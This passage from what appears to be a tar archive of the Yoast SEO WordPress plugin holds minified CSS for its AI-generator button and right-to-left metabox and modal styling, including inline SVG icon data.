rotateY(-1turn);-webkit-transform:perspective(120px) rotateX(0deg) rotateY(-1turn)}}wordpress-seo/css/dist/ai-generator-2420.css000064400000000652147510273070014600 0ustar00.yst-replacevar__use-ai-button-upsell{align-items:center;background-color:#f7f7f7;border:1px solid #dbdbdb;border-radius:4px;box-shadow:inset 0 -2px 0 0 #0000001a;box-sizing:border-box;color:#303030;cursor:pointer;display:flex;min-height:32px;padding:0 .5em;transition:var(--yoast-transition-default)}.yst-replacevar__use-ai-button-upsell:hover{background-color:#fff;border-color:var(--yoast-color-border--default);color:#000}wordpress-seo/css/dist/metabox-2420-rtl.css000064400000076703147510273070014473 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.yoast-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#a4286a99;bottom:0;right:0;position:fixed;left:0;top:0;z-index:100000}.yoast-modal{background:#fff;bottom:48px;display:flex;flex-direction:column;height:calc(100% - 96px);right:calc(50% - 440px);max-width:880px;overflow:hidden;position:fixed;top:48px;width:100%}.yoast-gutenberg-modal .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-left:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.yoast-tabs .yoast-modal__content{display:grid;grid-template-areas:"heading heading" "menu content" "menu footer";grid-template-columns:280px 1fr;grid-template-rows:72px 1fr 88px}.yoast-modal__heading{align-items:center;background:var(--yoast-color-white);border-bottom:var(--yoast-border-default);box-sizing:border-box;display:flex;grid-area:heading;min-height:72px;padding:0 24px}.yoast-modal__heading .yoast-close{position:absolute;left:16px}.yoast-gutenberg-modal__box.components-modal__frame{box-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a}@media (min-width:600px){.yoast-gutenberg-modal__box.components-modal__frame{border-radius:8px;max-height:calc(100% - 48px)}}.yoast-gutenberg-modal__no-padding .components-modal__content{padding:0}.yoast-gutenberg-modal .components-modal__header-heading,.yoast-modal__heading h1{color:var(--yoast-color-primary);font-size:20px;font-weight:400;line-height:1.2;margin:0}.yoast-gutenberg-modal .components-modal__content .components-modal__header{border-bottom:1px solid #e2e8f0!important}.yoast-gutenberg-modal .components-modal__icon-container{display:inline-flex}.yoast-gutenberg-modal .components-modal__icon-container svg,.yoast-modal__heading-icon{fill:var(--yoast-color-primary);flex-shrink:0;height:20px;margin-left:16px;width:19px}.yoast-modal__menu{border-left:var(--yoast-border-default);grid-area:menu;overflow-y:auto}.yoast-modal__menu ul{list-style:none;margin:0;padding:0}.yoast-modal__menu li{border-bottom:var(--yoast-border-default);color:var(--yoast-color-default);cursor:pointer;display:block;font-size:16px;padding:12px 16px 11px;text-decoration:none}.yoast-modal__menu li:hover{background-color:#edd4e1}.yoast-modal__menu li.yoast-tabs__tab--selected{background-color:var(--yoast-color-primary);border-bottom:var(--yoast-border-default);color:#fff}.yoast-modal__content,.yoast-modal__section{display:flex;flex-direction:column;flex-grow:1;grid-area:content;overflow-y:auto;position:relative}.yoast-modal__section *{max-width:600px}.yoast-modal__section-header{background:var(--yoast-color-white);padding:24px 24px 0;position:sticky;top:0;z-index:10}.yoast-modal__section .yoast-h2{border-bottom:var(--yoast-border-default);padding-bottom:24px}.yoast-modal__footer{align-items:center;align-self:flex-end;background:var(--yoast-color-white);border-top:var(--yoast-border-default);bottom:0;box-sizing:border-box;display:flex;grid-area:footer;justify-content:flex-end;margin:0 24px;min-height:88px;padding:0;position:sticky;width:calc(100% - 48px);z-index:10}.yoast-modal__settings-saved{align-items:center;display:inline-flex;margin-left:16px;position:relative}.yoast-modal__settings-saved:before{background:var(--yoast-checkmark--green) no-repeat center;content:"";display:inline-block;height:13px;margin-left:8px;width:14px}.yoast-modal__footer .yoast-button{display:block}.yoast-modal__section-content{flex-grow:1;padding:24px}@media screen and (max-width:880px){.yoast-modal{bottom:0;height:auto;right:0;left:0;top:0}}@media screen and (max-width:782px){.yoast-modal{overflow-y:initial}.yoast-modal.yoast-modal-collapsible{padding-bottom:72px}.yoast-tabs .yoast-modal__content{grid-template-rows:48px 1fr 72px}.yoast-modal__heading{min-height:48px;padding:0 16px;position:fixed;top:0;width:100%;z-index:11}.yoast-modal__heading h1{font-size:var(--yoast-font-size-default)}.yoast-close svg{width:10px}.yoast-modal__heading-icon{height:15px;margin-left:8px}.yoast .yoast-close{left:3px}.yoast-modal__heading .yoast-h2{font-size:var(--yoast-font-size-default)}.yoast-modal__section{flex-grow:0;overflow:initial}.yoast-modal__section-content{margin:0 16px;padding:24px 0}.yoast-modal__section:first-of-type{margin-top:48px}.yoast-modal__section:last-of-type{margin-bottom:72px}.yoast-modal__section-header{margin:0;padding:0;position:sticky;top:48px}.yoast-modal__section-open .yoast-modal__section-header{margin-right:16px;margin-left:16px;padding-right:0;padding-left:0}.yoast-modal__section-open{border-bottom:var(--yoast-border-default)}.yoast-modal__footer{margin:0;min-height:72px;padding:0 16px;position:fixed;width:100%;z-index:11}.yoast-modal-collapsible .yoast-modal__footer{min-height:72px}.yoast-modal-collapsible .yoast-modal__section-content{border-bottom:var(--yoast-border-default);margin:0;padding:24px 16px}.yoast-collapsible__hidden{display:none}.yoast-collapsible__trigger{background:#fff;border:none;border-bottom:var(--yoast-border-default);color:var(--yoast-color-primary);cursor:pointer;font-size:var(--yoast-font-size-default);justify-content:space-between;padding:16px;text-align:right;width:100%}.yoast-collapsible__trigger[aria-expanded=true] .yoast-collapsible__icon{transform:rotate(-180deg)}.yoast-collapsible__trigger[aria-expanded=true]{margin:0 16px;padding:16px 0;width:calc(100% - 32px)}.yoast-collapsible__icon{background-color:var(--yoast-color-white);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 8' fill='%23404040'%3E%3Cpath d='M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:10px auto;border:none;display:block;float:left;height:19px;width:19px}.yoast-collapsible-block{margin-top:48px;width:100%}.yoast-collapsible-block+.yoast-collapsible-block{margin-top:0}}.yoast-post-settings-modal{height:100%;max-height:calc(100% - 96px);max-width:calc(100% - 96px);overflow:hidden;width:880px}.yoast-modal-content{padding:16px}@media (min-width:782px){.yoast-modal-content--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}}.yoast-post-settings-modal__button-container{border-bottom:1px solid #0003;display:flex;flex-direction:column;padding:16px}.yoast-post-settings-modal .components-modal__content{display:flex;flex-direction:column;padding:0}.yoast-post-settings-modal .components-modal__header{border-bottom:var(--yoast-border-default);flex-shrink:0;margin:0}.yoast-post-settings-modal .yoast-notice-container{bottom:0;right:0;margin-top:auto;position:sticky;width:100%;z-index:1}.yoast-post-settings-modal .components-modal__content>div:not([class]):not([class=""]){display:flex;flex-direction:column;overflow:hidden}.yoast-post-settings-modal .yoast-notice-container>hr{margin-bottom:0;margin-top:-1px}.yoast-post-settings-modal .yoast-content-container{flex-grow:1;overflow-y:auto}.yoast-post-settings-modal .yoast-button-container{display:flex;flex-direction:row;justify-content:flex-end;margin:0;padding:24px}.yoast-post-settings-modal .yoast-button-container p{align-self:center;color:var(--yoast-color-label-help);padding-left:24px}.yoast-post-settings-modal .yoast-button-container button{align-self:center;flex-shrink:0;max-height:45px}@media only screen and (max-width:600px){.yoast-post-settings-modal{max-height:100%;max-width:100%}.yoast-post-settings-modal .yoast-button-container{justify-content:space-between;padding:16px}.yoast-post-settings-modal .yoast-button-container p{padding-left:0}}.yoast-related-keyphrases-modal,.yoast-wincher-seo-performance-modal{max-width:712px}.yoast-wincher-seo-performance-modal__content{padding:25px 32px 32px}#yoast-get-related-keyphrases-metabox,#yoast-get-related-keyphrases-sidebar{margin-top:8px}.yoast-gutenberg-modal .yoast-related-keyphrases-modal__content{min-height:66vh;position:relative}.yoast-related-keyphrases-modal__chart{display:block}.m6zwb4v,.m6zwb4v:visited{background:#e6f3ff;border-radius:2px;color:#575f67;cursor:pointer;display:inline-block;padding-right:2px;padding-left:2px;-webkit-text-decoration:none;text-decoration:none}.m6zwb4v:focus,.m6zwb4v:hover{background:#edf5fd;color:#677584;outline:0}.m6zwb4v:active{background:#455261;color:#222}.mnw6qvm{background:#fff;border:1px solid #eee;border-radius:2px;box-shadow:0 4px 30px 0 #dcdcdc;box-sizing:border-box;cursor:pointer;display:flex;flex-direction:column;max-width:440px;min-width:220px;padding-bottom:8px;padding-top:8px;position:absolute;transform:scale(0);z-index:2}.m1ymsnxd{opacity:0;transition:opacity .25s cubic-bezier(.3,1.2,.2,1)}.m126ak5t{opacity:1}.mtiwdxc{padding:7px 10px 3px;transition:background-color .4s cubic-bezier(.27,1.27,.48,.56)}.mtiwdxc:active{background-color:#cce7ff}.myz2dw1{background-color:#e6f3ff;padding:7px 10px 3px;transition:background-color .4s cubic-bezier(.27,1.27,.48,.56)}.myz2dw1:active{background-color:#cce7ff}.mpqdcgq{font-size:.9em;margin-bottom:.2em;margin-right:8px;max-width:368px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.m1mfvffo,.mpqdcgq{display:inline-block}.m1mfvffo{border-radius:12px;height:24px;width:24px}.DraftEditor-editorContainer,.DraftEditor-root,.public-DraftEditor-content{height:inherit;text-align:initial}.public-DraftEditor-content[contenteditable=true]{-webkit-user-modify:read-write-plaintext-only}.DraftEditor-root{position:relative}.DraftEditor-editorContainer{background-color:#fff0;border-left:.1px solid #0000;position:relative;z-index:1}.public-DraftEditor-block{position:relative}.DraftEditor-alignLeft .public-DraftStyleDefault-block{text-align:left}.DraftEditor-alignLeft .public-DraftEditorPlaceholder-root{left:0;text-align:left}.DraftEditor-alignCenter .public-DraftStyleDefault-block{text-align:center}.DraftEditor-alignCenter .public-DraftEditorPlaceholder-root{margin:0 auto;text-align:center;width:100%}.DraftEditor-alignRight .public-DraftStyleDefault-block{text-align:right}.DraftEditor-alignRight .public-DraftEditorPlaceholder-root{right:0;text-align:right}.public-DraftEditorPlaceholder-root{color:#9197a3;position:absolute;width:100%;z-index:1}.public-DraftEditorPlaceholder-hasFocus{color:#bdc1c9}.DraftEditorPlaceholder-hidden{display:none}.public-DraftStyleDefault-block{position:relative;white-space:pre-wrap}.public-DraftStyleDefault-ltr{direction:ltr;text-align:left}.public-DraftStyleDefault-rtl{direction:rtl;text-align:right}.public-DraftStyleDefault-listLTR{direction:ltr}.public-DraftStyleDefault-listRTL{direction:rtl}.public-DraftStyleDefault-ol,.public-DraftStyleDefault-ul{margin:16px 0;padding:0}.public-DraftStyleDefault-depth0.public-DraftStyleDefault-listLTR{margin-left:1.5em}.public-DraftStyleDefault-depth0.public-DraftStyleDefault-listRTL{margin-right:1.5em}.public-DraftStyleDefault-depth1.public-DraftStyleDefault-listLTR{margin-left:3em}.public-DraftStyleDefault-depth1.public-DraftStyleDefault-listRTL{margin-right:3em}.public-DraftStyleDefault-depth2.public-DraftStyleDefault-listLTR{margin-left:4.5em}.public-DraftStyleDefault-depth2.public-DraftStyleDefault-listRTL{margin-right:4.5em}.public-DraftStyleDefault-depth3.public-DraftStyleDefault-listLTR{margin-left:6em}.public-DraftStyleDefault-depth3.public-DraftStyleDefault-listRTL{margin-right:6em}.public-DraftStyleDefault-depth4.public-DraftStyleDefault-listLTR{margin-left:7.5em}.public-DraftStyleDefault-depth4.public-DraftStyleDefault-listRTL{margin-right:7.5em}.public-DraftStyleDefault-unorderedListItem{list-style-type:square;position:relative}.public-DraftStyleDefault-unorderedListItem.public-DraftStyleDefault-depth0{list-style-type:disc}.public-DraftStyleDefault-unorderedListItem.public-DraftStyleDefault-depth1{list-style-type:circle}.public-DraftStyleDefault-orderedListItem{list-style-type:none;position:relative}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-listLTR:before{left:-36px;position:absolute;text-align:right;width:30px}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-listRTL:before{position:absolute;right:-36px;text-align:left;width:30px}.public-DraftStyleDefault-orderedListItem:before{content:counter(ol0) ". ";counter-increment:ol0}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth1:before{content:counter(ol1,lower-alpha) ". ";counter-increment:ol1}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth2:before{content:counter(ol2,lower-roman) ". ";counter-increment:ol2}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth3:before{content:counter(ol3) ". ";counter-increment:ol3}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth4:before{content:counter(ol4,lower-alpha) ". ";counter-increment:ol4}.public-DraftStyleDefault-depth0.public-DraftStyleDefault-reset{counter-reset:ol0}.public-DraftStyleDefault-depth1.public-DraftStyleDefault-reset{counter-reset:ol1}.public-DraftStyleDefault-depth2.public-DraftStyleDefault-reset{counter-reset:ol2}.public-DraftStyleDefault-depth3.public-DraftStyleDefault-reset{counter-reset:ol3}.public-DraftStyleDefault-depth4.public-DraftStyleDefault-reset{counter-reset:ol4}#wpseo_meta{box-sizing:border-box}#wpseo_meta *,#wpseo_meta :after,#wpseo_meta :before{box-sizing:inherit}.DraftEditor-root [data-block]{margin:0}#edittag>#wp-description-wrap{display:none}#wp-description-wrap .wp-editor-area{border:0}.term-description-wrap td>textarea#description{min-height:530px}.wpseo-meta-section,.wpseo-meta-section-react{border:1px solid #0003;display:none;height:auto;max-width:600px;min-height:100%;vertical-align:top;width:100%}.wpseo-meta-section-react.active,.wpseo-meta-section.active{background:#fff;position:relative;z-index:12}.wpseo-meta-section.active{display:inline-block}.wpseo-meta-section-react.active{display:block;margin-bottom:10px}.wpseo-meta-section-content{padding:16px}.wpseo-metabox-content{max-width:800px;padding-top:16px}.edit-post-meta-boxes-area__container .wpseo-metabox .postbox-header{border-bottom:1px solid #ddd}.edit-post-meta-boxes-area__container .wpseo-metabox .inside{background-color:#f1f5f9}.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-metabox-content{max-width:none;padding:32px 8px 8px}.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-meta-section,.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-metabox-menu{margin:0 auto}.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-meta-section.active{display:block}.wpseo-metabox-menu{max-width:600px;padding:0}.wpseo-metabox-menu ul{align-items:flex-end;display:flex;flex-wrap:wrap;flex-flow:wrap-reverse;margin:0 0 0 1px;padding:0 16px 0 0}.wpseo-metabox-menu ul li:first-child{z-index:10}.wpseo-metabox-menu ul li:nth-child(2){z-index:9}.wpseo-metabox-menu ul li:nth-child(3){z-index:8}.wpseo-metabox-menu ul li:nth-child(4){z-index:7}.wpseo-metabox-menu ul li:nth-child(5){z-index:6}.wpseo-metabox-menu ul li:nth-child(6){z-index:5}.wpseo-metabox-menu ul li{background-color:#f8f8f8;box-shadow:0 0 4px 0 #0000001a;height:32px;margin-bottom:-1px;margin-right:-1px;position:relative;text-align:center}.wpseo-metabox-menu ul li a{align-items:center;border:1px solid #0003;border-bottom:2px #0000;color:#0073aa;display:flex}.wpseo-metabox-menu ul li a:focus{box-shadow:inherit}.wpseo-metabox-menu ul li .yst-traffic-light{height:20px;margin-right:4px;margin-left:10px;width:auto}.wpseo-metabox-menu ul li span.dashicons{margin-left:8px}.wpseo-metabox-menu ul li span.wpseo-buy-premium{color:#a4286a}.wpseo-metabox-menu ul li span.wpseo-buy-premium:hover{color:#832055}.wpseo-metabox-menu ul li.active{background-color:#fff;border-bottom:2px #0000;box-shadow:none;height:36px;margin-top:-4px;z-index:13}.wpseo-metabox-menu ul li.active a{color:#444;height:36px}.wpseo-metabox-menu ul li.active span.wpseo-buy-premium{border-color:#a4286a;color:#a4286a}.wpseo-metabox-menu ul li.active span.wpseo-buy-premium:hover{border-color:#832055;color:#832055}.wpseo-metabox-menu a{height:32px;padding:0 8px;text-decoration:none}.wpseotab{background-color:#fdfdfd;border:1px solid #ddd;display:none;padding:16px}.wpseotab .wpseo-cornerstone-checkbox{margin-left:.5em}.wpseotab.content{padding:20px 15px}.wpseotab.active{display:block}.wpseo-metabox-sidebar .dashicons{font-size:30px;height:30px;width:30px}#wpseo_meta .inside{margin:0}#wpseo_meta .inside:after{clear:both;content:"";display:table}#wpseo_meta .postbox .inside .wpseotab{font-size:13px!important}.wpseo-form input,.wpseo-form label,.wpseo-form p.error-message,.wpseo-form textarea{max-width:600px}.wpseo-form fieldset{padding-top:5px}.wpseo-form legend{font-weight:600}.wpseo-form label{display:block;font-weight:600}.wpseo-form input[type=checkbox]+label,.wpseo-form input[type=radio]+label{display:inline-block;font-weight:400}.wpseo-form fieldset,.wpseo-form label{margin-bottom:.5em;margin-top:2em}.wpseo-form input[type=checkbox],.wpseo-form input[type=checkbox]+label{font-size:1em;margin-bottom:0;margin-top:2em}.wpseo-form fieldset:first-child,.wpseo-form input[type=checkbox]:first-child,.wpseo-form input[type=checkbox]:first-child+label,.wpseo-form label:first-child{margin-top:10px}.wpseo-form input[type=radio]{margin-top:0}.wpseo-form input[type=radio]+label{margin:0 0 0 1em}.wpseo-form p.error-message{margin:.5em 0}.wpseo-form select[multiple]{margin-top:0}.yoast-metabox__description{margin:.5em 0;max-width:600px}.good,.warn,.wrong{font-weight:600}.good{color:green}.warn{color:maroon}.wrong{color:#dc3232}#current_seo_title span{background-color:#ffffe0;padding:2px 5px}#focuskwresults ul{margin:0}#focuskwresults li,#focuskwresults p{font-size:13px}#focuskwresults li{list-style-type:disc;margin:0 20px 0 0}.wpseo_hidden{display:none}.wpseo_msg{background-color:#ffffe0;border:1px solid #e6db55;margin:5px 0 10px;padding:0 5px}.snippet-editor__button.snippet-editor__edit-button:focus{background-color:#fafafa;border-color:#5b9dd9;box-shadow:0 0 3px #0073aacc;color:#23282d;outline:none}.wpseo-admin-page .subsubsub li{display:inline;max-width:none}.yoast-seo-help-container{float:right;max-width:none;width:100%}.yoast-seo-help-container .yoast-help-panel{margin:.5em 0!important}.wpseo_content_wrapper p.search-box{margin:10px 0 5px}#wpseotab .ui-widget-content .ui-state-hover{background:#f1f1f1;border:1px solid #dfdfdf;color:#333}.yst-traffic-light{height:30px;margin:0 5px 0 0;width:19px}.yst-traffic-light .traffic-light-color{display:none}.yst-traffic-light.bad .traffic-light-red,.yst-traffic-light.good .traffic-light-green,.yst-traffic-light.init .traffic-light-init,.yst-traffic-light.na .traffic-light-empty,.yst-traffic-light.ok .traffic-light-orange{display:inline}.yoast-seo-score .yoast-logo.svg{background:var(--yoast-svg-icon-yoast) no-repeat;background-size:18px;flex-shrink:0;float:right;height:18px;margin-left:7px;width:18px}.yoast-seo-score .yoast-logo.svg.good{background-image:var(--yoast-svg-icon-yoast-good)}.yoast-seo-score .yoast-logo.svg.ok{background-image:var(--yoast-svg-icon-yoast-ok)}.yoast-seo-score .yoast-logo.svg.bad{background-image:var(--yoast-svg-icon-yoast-bad)}.yoast-seo-score .yoast-logo.svg.na,.yoast-seo-score .yoast-logo.svg.noindex{background-image:var(--yoast-svg-icon-yoast)}.term-php .wpseo-taxonomy-metabox-postbox>h2{border-bottom:1px solid #eee;font-size:14px;line-height:1.4;margin:0;padding:8px 12px}#TB_window #TB_ajaxContent p{margin:5px 0 0;padding:5px 0 0}#TB_window #TB_ajaxContent ul{margin:5px 0 10px}#TB_window #TB_ajaxContent li{list-style:none;margin:5px 0 0}#TB_window #TB_ajaxContent li:before{content:"+";font-weight:700;margin:0 0 0 